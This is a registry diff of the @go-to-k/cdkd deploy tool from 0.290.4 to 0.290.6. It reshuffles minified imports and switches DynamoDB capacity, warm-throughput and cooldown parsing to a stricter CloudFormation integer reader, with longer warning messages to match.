@go-to-k/cdkd 0.290.4 → 0.290.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,8 +1,8 @@
1
- import { $ as secretSafeKeyDisplay, $n as parseBootstrapMarker, $t as DiffCalculator, A as planOrphanAdoption, An as formatLockExpiry, Ar as resolveUseCdkBootstrapAssets, At as WAFv2WebACLProvider, B as formatResourceLine, Bn as AssetPublisher, Br as PARTITION_TABLE, Bt as replayWarn, C as createPreDeleteFinalSnapshot, Ci as isThrottlingError, Cn as scrubResourceRecord, Cr as getLegacyStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as retryClassificationText, Dn as buildForceUnlockCommand, Dr as resolveSkipPrefix, Dt as parameterTypeMayLoseSecretIdentity, E as unsupportedFinalSnapshotError, Ei as markRedactedCause, En as rebuildClientForBucketRegion, Er as resolveCaptureObservedState, Et as isUnboundTemplateParameter, F as WARM_THROUGHPUT_MEMBERS, Fn as importableOutputKeys, Fr as MIGRATE_TMP_PREFIX, Ft as coerceCfnInteger, G as red, Gn as loadPublishableAssetManifest, Gt as producerRegionsFromState, H as cyan, Hn as WorkGraph, Hr as derivePartitionAndUrlSuffix, Ht as requireConfigObject, I as coerceWarmThroughput$1, In as importableOutputs, Ir as findLargeInlineResources, It as configBooleanRefusal, J as collectPublishedOutputNames, Jn as BOOTSTRAP_MARKER_PREFIX, Jr as getAwsClients, Jt as s3BucketDomainName, K as yellow, Kn as rewriteTemplateAssetReferences, Kr as resolveBucketRegion, Kt as withSharedDrainBudget, L as isWarmThroughputDecrease, Ln as orphansAfterRollback, Lr as uploadCfnTemplate, Lt as configIntegerRefusal, M as isStatefulRecreateTargetForReplace, Mn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Mr as warnDeprecatedNoPrefixCliFlag, Mt as resolveExplicitPhysicalId, N as isStatefulRecreateTargetSync, Nn as DEFAULT_STATE_PREFIX, Nr as CFN_TEMPLATE_BODY_LIMIT, Nt as assertRegionMatch, O as extractDeploymentEventError, On as buildLockContentionMessage, Or as resolveStateBucketWithDefault, Ot as refStateLookupFromResource, P as renderStatefulReason, Pn as exportNamesCarriedFrom, Pr as CFN_TEMPLATE_URL_LIMIT, Pt as coerceCfnBoolean, Q as secretBearingStateKeyWarning, Qn as isCrossRegionRedirect, Qr as CdkdError, Qt as applyRoleArnIfSet, R as toCfnInteger, Rn as orphansCarriedFrom, Rr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Rt as configStringRefusal, S as ccRoutedFinalSnapshotError, Si as isRetryableTransientError, Sn as redactSecretsForState, Sr as getDefaultStateBucketName, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as markNonRetryable, Tn as S3StateBackend, Tr as resolveAutoAssetStorage, Tt as getAccountInfo, U as gray, Un as buildAssetRedirectMap, Ur as AssemblyReader, Ut as requireConfigString, V as bold, Vn as stringifyValue, Vr as canonicalizeRegion, Vt as requireConfigArray, W as green, Wn as createAssetRedirectResolver, Wr as processStackMessages, Wt as classifyReplaySecretRegion, X as isExportAliasCollision, Xn as ensureAssetStorage, Xr as setAwsClients, Xt as s3BucketRegionalDomainName, Y as exportAliasCollisionScrubWarning, Yn as assertAssetBucketRegion, Yr as resetAwsClients, Yt as s3BucketDualStackDomainName, Z as secretBearing, Zn as getBootstrapMarkerKey, Zt as s3BucketWebsiteUrl, _ as isSecretBearingReferenceString, _n as markSameGenerationBag, _r as stripControlChars, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as LocalInvokeBuildError$1, an as DagBuilder, ar as buildDockerImage, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as withErrorHandling, bn as recordMaskOnlyValue, br as Synthesizer, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, ci as NestedStackChildDirectDestroyError, cn as STATE_SOURCED_CROSS_GENERATION_RULES, cr as describeDockerFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ResourceTimeoutError, dn as carriesSecretMask, dr as getDockerCmd, dt as interruptWatchListenerCount, ei as CrossAccountSecretRefusalError, en as INTRINSIC_KEYS, er as readBootstrapMarkerBody, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceUpdateNotSupportedError, fn as createSecretMasker, fr as partitionSensitiveEnv, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as isSingleDynamicReferenceToken, gr as escapeRegExp, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hn as identityKeyFor, hr as runDockerStreaming, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as IntrinsicResolutionRefusalError, in as withRetry, ir as describeAwsFailure, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as shellQuote, jr as stateBucketExistenceConfirmed, jt as normalizeAwsTagsToCfn, k as makeSiblingClaimReader, kn as forceQuitRecoveryClause, kr as resolveStateBucketWithDefaultAndSource, kt as isSettledInstanceState, l as replayRollback, li as PartialFailureError, ln as STATE_SOURCED_READBACK_RULES, lr as dockerSpawnEnvWithSensitive, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackTerminationProtectionError, mn as errorCauseChain, mr as runDockerForeground, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, ni as DeployCancelledError, nn as findSilentDropProperties, nr as validateContainerRepoName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalStartServiceError, on as TemplateParser, or as describeDockerCapturedOutput, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as StackHasActiveImportsError, pn as dynamicReferenceTokens, pr as redactDockerArgvValues, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as AssetModeResolver, qr as AwsClients, qt as s3BucketArn, r as DeployEngine, ri as DynamicReferenceRegionAmbiguousError, rn as describeTypeWithThrottleRetry, rr as buildDenyExternalAccessPolicy, rt as clearOnUpdateRemoval, s as planRollback, sn as STATE_SOURCED_BASELINE_RULES, sr as describeDockerExecFailure, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, tn as findActionableSilentDrops, tr as validateAssetBucketName, tt as IAMRoleProvider, u as updatePartialMessage, ui as ProvisioningError, un as TEMPLATE_SOURCED_RULES, ur as formatDockerLoginError, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as maskSecretsInError, vr as AssetManifestLoader, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isTransientServerError, wn as LockManager, wr as resolveApp, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as isMarkedNonRetryable, xn as recoverMaskedOutput, xr as synthesisStatusMessage, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yi as normalizeAwsError, yn as maskSecretsInText, yr as getDockerImageBySourceHash, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as shouldRetainResource, zr as expectedOwnerParam, zt as readConfigString } from "./deploy-engine-DD7JE_Ic.js";
1
+ import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-BU7n9_qY.js";
2
2
  import { S as truncateCodePoints, _ as withSkipPrefix, b as displayIdent, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displaySafe, y as UNRENDERABLE } from "./logger-th1myfgh.js";
3
3
  import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
4
- import { t as getCdkdVersion } from "./version-BUcQz4SU.js";
5
- import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-NffO_bpL.js";
4
+ import { t as getCdkdVersion } from "./version-BvSdNpMz.js";
5
+ import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-CsdVn4cg.js";
6
6
  import { AsyncLocalStorage } from "node:async_hooks";
7
7
  import { createHash, randomBytes, randomUUID } from "node:crypto";
8
8
  import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -18953,7 +18953,7 @@ var DynamoDBTableProvider = class {
18953
18953
  const warn = (message) => this.logger.warn(maskSecrets(message));
18954
18954
  const coerced = coerceWarmThroughput(value);
18955
18955
  if (coerced === void 0) return void 0;
18956
- if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a non-numeric value.`);
18956
+ if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a spelling CloudFormation would reject: an Integer here is an optional sign and decimal digits only (no surrounding whitespace, hex, exponent or decimal point).`);
18957
18957
  return coerced.spec;
18958
18958
  }
18959
18959
  /**
@@ -20726,10 +20726,10 @@ var DynamoDBGlobalTableProvider = class {
20726
20726
  const watch = startInterruptWatch(`DynamoDB auto-scaling for ${tableName}`);
20727
20727
  try {
20728
20728
  if (newEnabled) {
20729
- const minCapacity = Number(newSettings["MinCapacity"] ?? 0);
20730
- const maxCapacity = Number(newSettings["MaxCapacity"] ?? 0);
20731
- if (!Number.isFinite(minCapacity) || !Number.isFinite(maxCapacity)) {
20732
- warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be numbers, got ${maskSecrets(String(newSettings["MinCapacity"]))} / ${maskSecrets(String(newSettings["MaxCapacity"]))}`);
20729
+ const minCapacity = coerceCfnInteger(newSettings["MinCapacity"] ?? 0);
20730
+ const maxCapacity = coerceCfnInteger(newSettings["MaxCapacity"] ?? 0);
20731
+ if (minCapacity === void 0 || maxCapacity === void 0) {
20732
+ warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be integers CloudFormation accepts (an optional sign and decimal digits; no surrounding whitespace, hex, exponent or decimal point), got ${maskSecrets(String(newSettings["MinCapacity"]))} / ${maskSecrets(String(newSettings["MaxCapacity"]))}`);
20733
20733
  return;
20734
20734
  }
20735
20735
  try {
@@ -20761,8 +20761,16 @@ var DynamoDBGlobalTableProvider = class {
20761
20761
  PredefinedMetricSpecification: { PredefinedMetricType: metricType },
20762
20762
  TargetValue: targetValue
20763
20763
  };
20764
- if (tttCfg["ScaleInCooldown"] !== void 0) targetTrackingConfig["ScaleInCooldown"] = Number(tttCfg["ScaleInCooldown"]);
20765
- if (tttCfg["ScaleOutCooldown"] !== void 0) targetTrackingConfig["ScaleOutCooldown"] = Number(tttCfg["ScaleOutCooldown"]);
20764
+ for (const cooldown of ["ScaleInCooldown", "ScaleOutCooldown"]) {
20765
+ const raw = tttCfg[cooldown];
20766
+ if (raw === void 0) continue;
20767
+ const seconds = coerceCfnInteger(raw);
20768
+ if (seconds === void 0) {
20769
+ warn(`Auto-scaling policy on ${tableName} (${dimension}): TargetTrackingScalingPolicyConfiguration.${cooldown} is not an integer CloudFormation accepts (got ${JSON.stringify(maskDeep(raw, maskSecrets))?.slice(0, 80)}), so it is omitted and the service default applies.`);
20770
+ continue;
20771
+ }
20772
+ targetTrackingConfig[cooldown] = seconds;
20773
+ }
20766
20774
  if (tttCfg["DisableScaleIn"] !== void 0) targetTrackingConfig["DisableScaleIn"] = Boolean(tttCfg["DisableScaleIn"]);
20767
20775
  try {
20768
20776
  await withRetry(() => asClient.send(new PutScalingPolicyCommand({
@@ -22145,13 +22153,13 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
22145
22153
  return {
22146
22154
  ...scope,
22147
22155
  ...indexName !== void 0 && { indexName },
22148
- message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one.`
22156
+ message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
22149
22157
  };
22150
22158
  }
22151
22159
  return {
22152
22160
  ...scope,
22153
22161
  ...indexName !== void 0 && { indexName },
22154
- message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected.`
22162
+ message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
22155
22163
  };
22156
22164
  }
22157
22165
  /**
@@ -22165,9 +22173,10 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
22165
22173
  * the pre-fix code forwarded such a block VERBATIM. Three defects followed, and fixing any subset leaves a
22166
22174
  * live one, which is why this helper does all three at once:
22167
22175
  *
22168
- * 1. **Coercion.** The verbatim forward was the ONE path that skipped
22169
- * {@link toFiniteNumber}, so a stringly-typed CFn `"5"` reached the SDK
22170
- * unnormalized while every derived value was a number.
22176
+ * 1. **Coercion.** The verbatim forward was the ONE path that skipped the
22177
+ * numeric reader (`coerceCfnInteger` since issue #3135), so a
22178
+ * stringly-typed CFn `"5"` reached the SDK unnormalized while every
22179
+ * derived value was a number.
22171
22180
  * 2. **Per-member merge.** Whole-block replacement meant a PARTIAL explicit
22172
22181
  * block SUPPRESSED valid derived siblings — an explicit
22173
22182
  * `{MaxReadRequestUnits: 41}` discarded a perfectly good
@@ -22194,16 +22203,17 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
22194
22203
  const out = {};
22195
22204
  for (const member of members) {
22196
22205
  if (explicit && explicit[member] !== void 0) {
22197
- const coerced = toFiniteNumber(explicit[member]);
22206
+ const coerced = coerceCfnInteger(explicit[member]);
22198
22207
  if (coerced !== void 0) {
22199
22208
  out[member] = coerced;
22200
22209
  continue;
22201
22210
  }
22211
+ const standIn = derived?.[member];
22202
22212
  diagnostics?.push({
22203
22213
  kind: "unresolved-member",
22204
22214
  ...context.indexName !== void 0 && { indexName: context.indexName },
22205
22215
  member,
22206
- message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so it was ignored. This is usually an unresolved intrinsic; resolve it to a literal.`
22216
+ message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so ` + (typeof standIn === "number" ? `it was ignored and ${standIn} was sent instead. ` : `it was ignored. `) + "This is usually an unresolved intrinsic; resolve it to a literal. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way."
22207
22217
  });
22208
22218
  }
22209
22219
  const derivedValue = derived?.[member];
@@ -22227,12 +22237,12 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
22227
22237
  function reportUnresolvedRawMember(rawValue, diagnostics, context, maskSecrets = (text) => text) {
22228
22238
  if (!diagnostics) return;
22229
22239
  if (rawValue === void 0) return;
22230
- if (toFiniteNumber(rawValue) !== void 0) return;
22240
+ if (coerceCfnInteger(rawValue) !== void 0) return;
22231
22241
  diagnostics.push({
22232
22242
  kind: "unresolved-member",
22233
22243
  ...context.indexName !== void 0 && { indexName: context.indexName },
22234
22244
  member: context.member,
22235
- message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it.`
22245
+ message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
22236
22246
  });
22237
22247
  }
22238
22248
  /**
@@ -22320,7 +22330,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
22320
22330
  kind: "unresolved-member",
22321
22331
  ...context.indexName !== void 0 && { indexName: context.indexName },
22322
22332
  member: blame.relPath ? blame.relPath.slice(blame.relPath.lastIndexOf(".") + 1) : context.blockName.slice(context.blockName.lastIndexOf(".") + 1),
22323
- message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared.`
22333
+ message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
22324
22334
  });
22325
22335
  }
22326
22336
  /**
@@ -22347,7 +22357,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
22347
22357
  */
22348
22358
  function deriveWriteCapacityUnits(settings, source = "min") {
22349
22359
  if (!settings) return void 0;
22350
- const literal = toFiniteNumber(settings["WriteCapacityUnits"]);
22360
+ const literal = coerceCfnInteger(settings["WriteCapacityUnits"]);
22351
22361
  if (literal !== void 0) return literal;
22352
22362
  const autoScaling = asRecord$1(settings["WriteCapacityAutoScalingSettings"]);
22353
22363
  if (!autoScaling) return void 0;
@@ -22363,7 +22373,7 @@ function deriveWriteCapacityUnits(settings, source = "min") {
22363
22373
  */
22364
22374
  function deriveReadCapacityUnits(settings, source = "min") {
22365
22375
  if (!settings) return void 0;
22366
- const literal = toFiniteNumber(settings["ReadCapacityUnits"]);
22376
+ const literal = coerceCfnInteger(settings["ReadCapacityUnits"]);
22367
22377
  if (literal !== void 0) return literal;
22368
22378
  const autoScaling = asRecord$1(settings["ReadCapacityAutoScalingSettings"]);
22369
22379
  if (!autoScaling) return void 0;
@@ -22371,9 +22381,9 @@ function deriveReadCapacityUnits(settings, source = "min") {
22371
22381
  }
22372
22382
  /** Resolve a `*CapacityAutoScalingSettings` block to one number. */
22373
22383
  function pickAutoScalingCapacity(autoScaling, source) {
22374
- const min = toFiniteNumber(autoScaling["MinCapacity"]);
22375
- if (source === "min") return min ?? toFiniteNumber(autoScaling["SeedCapacity"]);
22376
- return toFiniteNumber(autoScaling["SeedCapacity"]) ?? min;
22384
+ const min = coerceCfnInteger(autoScaling["MinCapacity"]);
22385
+ if (source === "min") return min ?? coerceCfnInteger(autoScaling["SeedCapacity"]);
22386
+ return coerceCfnInteger(autoScaling["SeedCapacity"]) ?? min;
22377
22387
  }
22378
22388
  /**
22379
22389
  * Translate the CFn `AWS::DynamoDB::GlobalTable` `GlobalSecondaryIndexes[]`
@@ -22470,7 +22480,7 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
22470
22480
  const rawWrite = gsi["WriteProvisionedThroughputSettings"];
22471
22481
  const derivedRead = deriveReadCapacityUnits(asRecord$1(rawLocalRead), source) ?? deriveReadCapacityUnits(asRecord$1(rawGsiRead), source);
22472
22482
  const derivedWrite = deriveWriteCapacityUnits(asRecord$1(rawWrite), source);
22473
- const explicitCovers = (member) => explicitProvisioned !== void 0 && toFiniteNumber(explicitProvisioned[member]) !== void 0;
22483
+ const explicitCovers = (member) => explicitProvisioned !== void 0 && coerceCfnInteger(explicitProvisioned[member]) !== void 0;
22474
22484
  if (derivedRead === void 0 && !explicitCovers("ReadCapacityUnits")) {
22475
22485
  const fromReplica = rawLocalRead !== void 0;
22476
22486
  reportUnresolvedProvisionedCapacity(fromReplica ? rawLocalRead : rawGsiRead, "Read", source, { appliedUnits: DEFAULT_CAPACITY_UNITS }, diagnostics, {
